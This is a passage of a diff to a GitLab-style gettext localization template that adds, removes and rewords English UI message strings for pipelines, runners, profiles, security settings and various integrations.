msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24511,6 +24910,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24868,6 +25270,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24964,9 +25369,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25219,6 +25621,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25534,9 +25942,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25666,6 +26071,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25681,9 +26089,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25774,10 +26179,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25918,6 +26323,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25945,9 +26353,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26188,7 +26593,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26470,7 +26875,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26491,13 +26896,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26539,13 +26944,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26875,9 +27283,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26956,6 +27361,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27223,12 +27631,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27298,6 +27712,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27322,6 +27739,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27343,6 +27763,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27547,6 +27973,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27754,6 +28183,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27772,9 +28204,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28135,6 +28573,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28297,6 +28738,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28411,6 +28855,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28513,9 +28963,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28684,6 +29131,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28711,6 +29161,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28720,6 +29173,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28837,15 +29296,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28861,6 +29320,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28930,6 +29392,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28954,6 +29419,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29137,6 +29605,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29158,6 +29629,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29176,6 +29650,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29254,7 +29731,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29269,6 +29746,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29290,6 +29773,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29329,6 +29815,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29398,6 +29887,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29716,6 +30208,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29770,6 +30265,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29782,6 +30280,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29803,6 +30304,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29815,12 +30319,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29854,6 +30364,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29863,6 +30376,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29893,12 +30409,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29956,19 +30478,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30049,21 +30577,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30451,6 +30964,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30475,6 +30991,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30523,7 +31042,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30538,7 +31057,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30550,7 +31069,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30610,6 +31129,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30619,6 +31141,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30643,6 +31168,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30712,7 +31243,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30721,6 +31255,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30742,6 +31279,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30961,7 +31504,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30994,6 +31537,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31132,6 +31678,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31336,9 +31885,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31438,7 +31984,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31450,6 +32005,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31495,6 +32053,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31576,6 +32137,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31633,9 +32197,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31711,9 +32272,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31780,6 +32338,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31795,6 +32374,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31843,18 +32425,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32221,6 +32794,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32305,9 +32884,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32584,9 +33160,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32605,6 +33178,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32758,9 +33358,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32905,6 +33502,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32926,7 +33526,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32935,6 +33535,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32956,6 +33559,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32971,6 +33580,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33958,10 +34570,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34219,7 +34831,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34255,7 +34867,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34462,9 +35077,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34597,9 +35209,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34654,6 +35263,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34750,9 +35362,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34765,9 +35374,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35143,6 +35749,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35161,12 +35770,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35215,6 +35818,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35269,12 +35878,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35284,6 +35896,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35419,9 +36034,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
